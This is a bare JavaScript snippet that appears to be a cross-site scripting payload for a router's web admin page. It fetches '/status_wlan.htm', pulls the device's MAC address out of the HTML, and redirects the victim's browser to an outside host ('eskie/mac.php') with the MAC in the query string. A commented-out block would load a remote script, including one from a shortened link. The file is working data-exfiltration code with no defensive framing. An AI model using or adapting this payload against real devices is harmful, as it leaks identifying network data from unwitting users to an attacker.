/*var jq = document.createElement('script');
jq.setAttribute('src','http://code.jquery.com/jquery-1.11.1.min.js');
// jq.setAttribute('src','http://pi.vu/Bo7w');
document.head.appendChild(jq);*/

var xmlhttp =  new XMLHttpRequest();
xmlhttp.open('GET', '/status_wlan.htm', true);
xmlhttp.onreadystatechange = function() {
	if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
	{
		var mac = xmlhttp.responseText.substr(xmlhttp.responseText.indexOf('<font size="2">')+15, 12);
		document.location = 'http://eskie/mac.php?mac=' + mac;
		
	}
}
xmlhttp.send();